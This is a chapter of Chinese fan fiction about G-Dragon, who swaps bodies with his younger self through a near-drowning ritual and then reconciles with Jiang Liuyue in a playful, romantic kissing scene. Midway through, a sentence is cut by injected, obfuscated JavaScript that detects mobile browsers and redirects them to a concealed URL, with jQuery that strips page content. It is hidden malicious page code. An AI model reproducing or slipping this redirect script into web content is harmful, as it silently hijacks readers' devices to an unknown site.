同人不同命
人,只要活得够久,就什么都能见到。
权志龙如是想。
本来已经历经三十多年风风雨雨,他自认泰山崩于前而面不改色,如今却连叹口气都觉得不知道往
哪里叹比较好。
本来因为无法脱离梦游廊,他就开始重新去长廊里的房间里寻找蛛丝马迹,因而错过了江留月
和‘他’的争吵。
他很意外的发现,自从自己去过2014年,在这个年份之后的所有房间,都对他关闭了。
这似乎意味着,江留月的记忆正在发生动荡和改变,因此他无法再打开房间面对‘过去的回忆’。
这不是什么好事情,权志龙感到忧心忡忡,但当他脱离房间之后,却感受到了尖锐的头痛和隐约的
声音。
再度睁开眼睛的时候,他又看到了镜子里,年轻的自己。
接下来就是长达十几分钟的语速如同《crayon》里的rap的疯狂diss,权志龙从一开始的懵逼到后
面的试图张嘴打断再到最后的无奈静候对方情绪宣泄结束,也只用了短短一分多钟。
倒也没有别的什么意思。
只是,对面那个人可是自己,权志龙太了解自己了。
那滔滔不绝的怨气和愤怒,一旦开闸就绝对不可能暂停,就算是强行拉停也没有用,他会在接下来
的时间里无法摆脱这种情绪,持续低压和沉浸在这件事情中,直到自己的情绪完全拉回来。
所以,只能听着。
对方控诉的无非就是,对方承受了自己在2014年~2024年这十年来犯下的所有错误带来的严重后
果,本来甜蜜蜜的小日子一去不返,塔伊闹着要分手,也不听他解释道歉,好不容易不分手了,又
说早就不爱他了,都是演戏骗他的,现在人的心也碎了,女朋友也快没了,哄又哄不好,见也见不
到——因为说好会联系他的小骗子,已经三十几个小时没有短信也没有电话了。
“……你可以去找她啊。”
权志龙不信自己那么有骨气,能这样完全拉对抗拉三十几个小时。
镜子里年轻的自己忽然憋住了一下,然后耳朵和脖子一下子就红温了。
支支吾吾半天之后,年轻的那个自己总算提出了要求,他要自己去道歉,告诉江留月这一切都是未
来的自己犯的错,不能怪罪到2014年的他身上。
权志龙:“……”
敢情是让他出去背锅的。
看对方的表情也知道,对方一定是没有把所有的事情都说出来的,但,权志龙因为过于了解自己,
甚至连追问的心情都没有。
而且……如果塔伊真的要留在2014,那么这个危险家伙必须做出改变吧。
“好吧,我们来交换好了。”
灵魂进行交换有两个必要条件,一个是灵魂只能进去自己的身体,另一个就是,身体如果本来就有
灵魂,那必须是进入濒死状态才行。
权志龙指挥自己在盥洗台的水盆里装满水,然后屏息让自己进入极度缺氧状态,这是他最初试图进
入梦游廊的方法,后面发现这个会在几秒之后就脱离缺氧状态而导致灵魂强制返回,最后才改为抽
血疗法。
“我去道歉的话,你也要做点什么吧。”
权志龙对自己很坦诚,也没什么弯弯绕绕的解释了梦游廊的结构与原理,并让年轻的自己去尽头的
房间拜访。
其实,他也是直到2021年,才在中国的采访中知道了江留月的童年。
这孩子很少提到自己的家庭,一直以来,权志龙都只知道她父母是再婚家庭,可能为了面子着想,
乔娜和柳天赐对外宣称的剧本一直是他们先结婚,然后因为家庭阻挠分开,后面又在时光荏苒之后
认清彼此才是真爱所以重归于好。
乔娜并没有提过自己在中国又结过婚,就连江留月名字的‘江’也从未做出过解释,权志龙认识江
留月的时候,虽然这孩子在狼狈不堪的打工,那也是因为和家里闹别扭从高级公寓离家出走,所
以,他一直以为江留月只是和父母之间有隔阂罢了。
2021年的时候,江留月在中国上了一个访谈类的综艺节目,这个节目很深刻,里面有非常专业的心
理医生以及非常会提供情绪价值的主持人,大家会在一起度过两天的时间,不仅聊事业,也聊童
年,聊家庭,聊社会议题。
江留月难得敞开了心扉,讲了自己的童年和一些故事,讲着讲着,她就沉默了。
在这个过程中,她没有流泪。
直到那个心理专家姐姐走过来直接抱住了她,她才抿着嘴抬起头露出红红的眼睛,然后忽然把脑袋
塞进对方的怀里,呜呜的哭了起来。
权志龙也是在那个时候,才知道她有那么多被泪水淹没的过去。
这个访谈节目反响极大,韩国的粉丝们做了字幕版分享,权志龙经常在睡不着的时候看,屏幕里的江留月看着还是那么的年轻漂亮,都说红气养人,她亦如是,美得就算是素颜穿着节目组买的便宜
睡衣盘腿坐在竹床上,也像是在拍文艺片一样,随手一截就能当画报。
权志龙的家里有个播放厅,他经常在里面看电影,但看的最多的就是江留月的这个访谈,他听着她
说的每一句话的时候,心里翻来覆去的想一件事情。
都说童年的痛苦会刻入人的行为里。
为什么她在他的身边那么多年,他却没能看到她从未痊愈的伤口呢?
进入梦游廊之后,权志龙第一个去的房间,就是最尽头的房间。
他看到了小小的江留月,五六岁的年纪,也许更小,她看起来比同龄人都要小一圈,因为瘦,眼睛
都快占掉脸的一半了,头发乱七八糟的,衣服也脏兮兮的,看到他的时候,像是一直被人踢来踢去
的小狗忽然听到了脚步声一样戒备得绷紧身体,却夹紧无形的小尾巴。
权志龙想要说点什么,做点什么,才一张嘴,却开始无法停止的流泪。
那一瞬间,江留月带给他的冲击,他意识到自己做了多少蠢事的后悔和痛苦几乎吞没了他。
看着年轻的理直气壮的自己,权志龙想,这个家伙也得去看看自己做的蠢事才行。
怎么能对受了那么多苦的小孩子说狠话,发脾气,怎么还忍心让她掉眼泪啊。
即便过着那种人生也会对陌生人露出笑容的小孩,到底要痛到什么程度,才会没完没了的掉眼泪
啊。
自己又为什么能说出‘你的眼泪为什么那么多’这种话啊。
“别吓唬她,礼貌一些,要多笑,中文糟糕的话……就当个哑巴。”权志龙简明扼要的说道:“还
有,你不要哭得太大声了。”
权志龙看到年轻的自己挑起眉一脸疑惑:“我?我为什么要哭。”
权志龙发出一声冷笑,解释无用,不如让‘他’自己去体验一把。
水灌入耳朵的感觉并不好受,屏住呼吸的肺部感受到要爆炸的疼痛,耳鸣和晕眩同时袭来,身体最
终达到极限点的时候,权志龙猛然从水里抬起了头。
他大口大口的喘气,看向镜子里的自己,狼狈的被水弄湿的头发,脸上还不停地流下水痕,锋利的
五官,只有双眼的情绪是柔和中带点恍惚的。
权志龙伸出手,摸了一下镜子。
冰冷的,滑溜溜的。
他终于确认,这种交换身体的方式是可行的。
放松的瞬间,权志龙腿软的直接坐在了地上,衣服也被水打湿了大半,湿漉漉的很难受,他感受着空气涌入肺部,视线逐渐清晰,手指变得灵活,这个身体正在飞速习惯一体同源的灵魂。
他试图呼喊‘自己’,但没有得到回应,想也知道这家伙知道能看到小时候的塔伊,一定是用跑的
过去了。
权志龙坐在地上了一会儿,忽然觉得有些荒谬又无语的笑了一下,好一会儿才骂着‘西八’的站起
来收拾自己。
在之前,他们已经交换了信息,江留月这两天都在公司跟进新专辑的事情,权志龙倒是有“耳朵眼
睛”来汇报这些,所以才能忍了那么久。
权志龙洗了个澡换了身衣服,自己驱车前往公司,他来之前大约的翻阅了一下工作信息,直到下周
就要去日本开家族con,还要参加采访、时尚秀、艺术展……总之留给他处理好这些事情的时间并
不多。
他大概推算了一下自己在梦游廊的时间和现实时间,发现梦游廊的时间要长得多,他先后去了十几
个房间,在里面待得时间不多说也有一周,现实中却只过了两天左右……
权志龙的车稳稳停在专属车位,他拉下手刹,检查了一下自己的装扮是否得体之后,心情难得有些
愉快的下了车。
希望‘他’能好好享受在梦游廊的时间。
还好,身体交换似乎是需要现实中的身体濒死,和梦游廊中灵魂的状态无关,不然这小子大概很快就哭得脱水崩溃的缩回来了。
尽管同为‘自己’,权志龙也感到了微妙的愉悦。
但这种愉悦很快就消失了。
因为公司里面碰到的大家虽然在问好,但是不知道怎么的,大家的表情都有些微妙,像是在憋笑,
又像是在偷偷打量他。
在电梯里就更夸张了,他瞥见那几个职员憋笑憋到用脚尖互相踩对方。
“……笑什么呢?我很奇怪吗?”
权志龙对着电梯看了一下自己的穿搭,他可是在2014年的衣柜里选的衣服,而且是最基础的T恤外
套+长裤,总不能出错吧!?
职员们疯狂摇头,但笑容怎么都止不住。
权志龙:“……?”
电梯到了三层,职员们一窝蜂都跑了,权志龙很清楚的看到每个人的脸上都是笑容。
所以一定发生了什么吧。
权志龙这么想着,然后迎面碰上了Teddy。
Teddy看到他就哈哈一笑,权志龙上次回来因为一回来就是演唱会倒是没见到他,心里也有诸多感
慨,正要打招呼,Teddy就忽然张嘴对他:“汪汪汪!!!”
权志龙:“……”
所以这个世界是疯了吗?
还是说2014年的自己因为受了过度的刺激直接将《狗吠》这首歌提前做出来公开了?
好在下一秒,Teddy总算解答了他的疑惑:“呀小子,快停止你的ins,你这小子最近发的导致流行都乱套了。”
Ins??
权志龙返回2014年之后是看过自己的手机的,他检查了信息和聊天软件,但却忘记了该死的社媒。
他先假笑着应付了Teddy,然后立刻打开了自己的INS,一看自己的最近发表,简直是眼前一黑的状
态。
虽然不知道发生了什么,但显然年轻的自己处于失控的状态,从昨天开始就疯狂发各种小狗照片,
发完了之后又开始发小狗滤镜的短视频,什么卡通的,什么拟态的,什么吐舌头的……
粉丝一脸茫然的在下面问道:哥哥想家虎了吗?
权志龙看到了自己的回复:不,是家虎想主人了。
?
什么跟什么啊!?!
权志龙深吸一口气,他非常确定以及肯定,‘他’绝对没有跟自己交代这些事情。
而且人在梦游廊房间的时候,是无法通感到外面发生的一切的。
这家伙到底在干嘛,又为什么要这样做啊!
果然,人甚至无法共情过去的自己。
权志龙一边疯狂删,一边走到了录音室的附近,明明不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15136290|151195||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他干的,他也已经羞耻到了红温的状态,
甚至不想进去找江留月了。
如果他没有记错的话,江留月的监制也是老熟人,这群向来爱取笑他的哥哥们如果当着江留月的面
玩这个梗,他不如钻到地缝里去。
人啊,越是不想面对什么,就越是会面对什么。
录音室的门忽然从里面打开了,里面走出来的人却是lydia(注:lydia peak,当时YG的制作人之
一),她看到权志龙的瞬间,意味深长的哦了一声,然后往里面努努嘴,自己憋着笑溜了。
感恩善良的女孩子。
女孩子们都是天使。
权志龙决定改天一定给lydia整个她喜欢的艺术品当回礼。
权志龙推门而入,正好江留月也听见了动静抬起头。
她今天穿得很可爱,走的是美国乡村风格,背带裤格子衬衫,长发梳成松散的麻花辫垂在两侧。
看到他走进来,江留月嘴角意味不明的撇了一下。
权志龙心里一直在疯狂西八,他觉得自己绝对被‘他’给耍了,这小子不仅让自己出来背锅,可能
还有什么狂风暴雨等着自己。
他心里正在盘算,却见江留月拖着转椅滑到桌子边的空地上,然后对着他勾了勾手。
权志龙心不甘情不愿的走过去,不得不认命自己要背锅的事实。
“不是说要等我联络你才可以来见我吗?”
果然。
果然。
果然。
呵呵。
权志龙心里骂了一百万个西八,抿着嘴不说话。
江留月歪着头打量着他,觉得他精气神都有些蔫了,又想到那些刷爆热搜的ins,觉得好气又好
笑。
“哥,你真的要当小狗吗?”
权志龙一下子就红温了。
他都三十六七了,实在是扛不住这种羞耻的玩意儿,红色直接从心口涌到脖子再到耳朵,只觉得呼
吸都气短了几分。
江留月坐在转椅上,看她哥低着头不说话,活像是个犯错的学生一样规规矩矩的站着。
确实难得,往常他们吵架,权志龙最多能忍半天,但凡过了一晚上还在冷战,这个哥必然开始作
妖,不是去夜店喝酒就是要假装生病,要不然就开车堵在她家楼下,可怜兮兮的发上百八十条短
信。
这次是真的忍住了,就连短信都忍住了,虽然没忍住发了一些ins,但也忍住了情感宣泄,没有搞
那些疼痛文学。
江留月抬起手拽住了他脖子上作为装饰的长领带,也就是她哥能想,长领带搭配T恤,别有一番雅
痞,只是此刻脸都涨红却还憋着气的样子,又透出孩子气来。
权志龙猝不及防的被拽的弯下腰去,只感到一只凉凉的小手抚摸上他的脸庞,然后嘴唇上传来湿润
的触感。
他猛然睁开眼睛,不可置信的看到江留月那浓密的睫毛在微微抖动。
她的声音又甜又软,黏糊糊的说着:
“小狗做得真好,我来奖励你吧。”
权志龙脑子都晕了,他的脑子处理不了这种东西,晕晕乎乎的被亲,因为被亲也老老实实的,更让
江留月稀罕了。
江留月坐着碍事,索性站起来靠在桌子上,两条胳膊缠上他的脖子,又亲了亲他。
“好乖哦,哥哥。”
……什么倒反天罡。
权志龙整个人都僵住了。
他面前的真的是他从十四岁开始一手养大的小孩吗?她现在也就二十三四岁,他面对如此年轻生动
的脸庞的时候,常生出局促的羞耻,这会儿,反而被摸着脸和喉结亲吻,还要夸奖他是个乖孩子?
这种颠覆的错位和随之涌上来的强烈的背德感让权志龙脊梁骨都窜过一阵酥麻。
这个世界疯了吧。
权志龙冷不丁抖了一下,他的喉结被亲了一口。
江留月咂咂嘴,樱桃一样红润花瓣一样柔嫩的嘴唇上还有一点亮晶晶的唾液,她像是喝醉酒的小猫
咪一样抿着嘴巴笑,又甜又软的像是威士忌里浸泡的水果软糖。
“怎么了,哥哥,你不喜欢吗?”
她的声音简直是塞壬的歌声。
权志龙脑子都不清醒了,脑子没反应过来之前,脑袋先点头,然后几乎是趋于本能的搂着怀里的人吻了上去。
唇齿交接,他还有些许犹豫,但江留月用舌尖碰了碰他的舌头,他的脑子就不清醒了。
“喜欢。”
他含混的说着,呼吸急促的迫不及待的回应着她。
“好喜欢你。”
“好爱你。”
权志龙把已经被亲得浑身瘫软的人压在桌子上,江留月眼看他要失控,立刻揪住了他的耳朵想要拉
开距离。
权志龙勉强松开她被啃咬得通红的嘴唇,用已经被欲念侵染的嘶哑的嗓子叫她的名字,江留月手忙
脚乱的阻止他的耳语,斥责着他的得寸进尺,就差没有大喊不许不听话了。
权志龙轻笑了一下,贴在她已经滚烫的耳边,轻轻地吹了一口气,然后压低嗓子,很小声的叫了一
声:“汪。”
这下江留月彻底炸毛了,她的脑子里拉起了警报,人立刻是反射性就想跑,却被大手一搂就拽进了怀里,权志龙的怀抱带着浓烈的香气和热度,她哆嗦了一下,然后感到大手放在她的后背,安抚的抚摸着。
她震撼的看向权志龙,很显然被他能自控这件事情惊呆了。
权志龙看她的小表情就知道她在想什么,他差点没忍住笑出来,即便努力压制,依然声音里带着浓
浓的笑意:“怎么了,小狗不是就要听话吗?”
他用修长的手指勾了一下江留月的下巴,声音里带着点漫不经心的调笑和上扬的鼻音:
“是不是,小狗?”